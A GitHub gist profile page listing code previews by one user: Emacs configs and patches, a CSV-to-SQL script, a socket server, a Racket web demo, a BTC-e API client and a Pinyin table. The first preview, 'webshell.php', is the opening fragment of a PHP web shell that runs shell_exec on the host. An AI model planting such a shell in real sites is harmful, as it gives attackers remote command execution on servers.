Skip to content

Instantly share code, notes, and snippets.

View RyanKung's full-sized avatar
🏠
Working from home

Elder Ryan RyanKung

🏠
Working from home
View GitHub Profile
@RyanKung
RyanKung / webshell.php
Last active March 22, 2022 05:19
a simple webshell
<?php session_start(); ?>
<?php
if (empty($_SESSION['path'])) {
$_SESSION['user'] = shell_exec('whoami');
$_SESSION['host'] = shell_exec('hostname');
$_SESSION['path'] = dirname(__FILE__);
}
function showInfo($cmd) {
$user = $_SESSION['user'];
@RyanKung
RyanKung / CSV2SQL.py
Created September 7, 2012 08:44
CSV to mysql|sqlite
#!/usr/bin/env python
# encoding: utf-8
# only for Mysql
import MySQLdb, sqlite3
# config DataBase
import sys, os, getopt, csv, types, random
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), "../..")))
from mordor.config import DATABASES as DB
"""
@RyanKung
RyanKung / websocketServer.c
Created September 10, 2012 07:50
basic socket
#import <stdio.h>
#import <sys/socket.h>
#import <arpa/inet.h>
#import <stdlib.h>
#import <string.h>
#import <unistd.h>
#define MAXPENDING 5
void HandleTCPClient(int clntSocket);
@RyanKung
RyanKung / emacs_24_2_fullscreen.patch
Last active December 11, 2015 01:38
no-lion-style fullscreen implementation for emacs 24.2, base on typester's patch.  The title-height will be set zero while 'ns-toggle-fullscreen.
diff --git a/lisp/term/ns-win.el b/lisp/term/ns-win.el
index 1aad645..51e41df 100644
--- a/lisp/term/ns-win.el
+++ b/lisp/term/ns-win.el
@@ -942,6 +942,12 @@ See the documentation of `create-fontset-from-fontset-spec' for the format.")
(add-to-list 'frame-creation-function-alist '(ns . x-create-frame-with-faces))
(add-to-list 'window-system-initialization-alist '(ns . ns-initialize-window-system))
+;; for fullscreen
+(declare-function ns-toggle-fullscreen-internal "nsfns.m" ())
from SQLHandle import cursor as db
import os, sys, urllib
import redis
import pyquery as q
import lxml.html.soupparser as sparser
rds = redis.StrictRedis(host='localhost', port=6379, db=0)
parseDict = {
'var': 'xpath of val'
}
@RyanKung
RyanKung / app.rkt
Last active January 19, 2024 15:20
Demo: A simple MVC-web-framework implementation with PLT Scheme (Racket)
;;By Jhen Kung, [email protected]
;;app.rkt
#lang racket(require web-server/servlet
web-server/servlet-env
"router.rkt")
(serve/servlet mordor
#:port 8080
#:servlet-path "/"
@RyanKung
RyanKung / doubanfm.el
Last active December 14, 2015 10:39
A Simple DoubanFM Client for Emacs
;; Installation:
;; In .emacs add:
;; (require 'doubanfm)
(dolist (path-list (list "./lib/"
"./lib/http-emacs"
"./lib/emms-3.0"))
(add-to-list 'load-path
(expand-file-name path-list (file-name-directory load-file-name))))
@RyanKung
RyanKung / Uni2Pinyin.json
Created March 7, 2013 11:13
A hash table, Chinese to Pinyin
{"a": ["4F0C", "4F41", "4F92", "4FFA", "50B2", "50FE", "5111", "51D2", "51F9", "530E", "533C", "536C", "5388", "53AB", "53C6", "5416", "54C0", "54CE", "5509", "5535", "5540", "554A", "557D", "55C4", "55F3", "55F7", "55F8", "566F", "5773", "5787", "57B5", "57C3", "57EF", "5813", "5837", "5867", "58BA", "5961", "5965", "5967", "5A3E", "5A95", "5AAA", "5ABC", "5AD2", "5AEF", "5B21", "5B89", "5C87", "5C99", "5CB8", "5CD6", "5D66", "5D85", "5DB4", "5EB5", "5ED2", "611B", "6160", "61CA", "61D3", "61DD", "6277", "629D", "62D7", "6309", "6328", "6371", "63DE", "646E", "64D9", "6556", "6571", "6573", "6602", "6639", "663B", "667B", "6697", "66A7", "66D6", "678A", "67EA", "6848", "6849", "688E", "6BD0", "6C28", "6D1D", "6EF6", "6F9A", "6FB3", "6FED", "71AC", "720A", "7231", "72B4", "7352", "7353", "73B5", "7477", "7488", "74A6", "75F7", "7691", "769A", "76A7", "76CE", "76E6", "76EB", "775A", "77B9", "77EE", "7839", "784B", "788D", "78DD", "7919", "7F6F", "7FF1", "7FFA", "8071", "814C", "8164", "827E", "82BA", "834C", "
@RyanKung
RyanKung / btce-api.py
Last active January 1, 2016 07:19
BTCE API
# -*- coding: utf-8 -*-
import sys
import os
import random
import datetime
import httplib
import urllib
import json
import hashlib
import hmac
@RyanKung
RyanKung / init.el
Last active March 31, 2016 07:48
my emacs config
;;; init --- init
;;; Commentary:
;;; Code:
(package-initialize)
(require 'cl)
;;(setq debug-on-error t)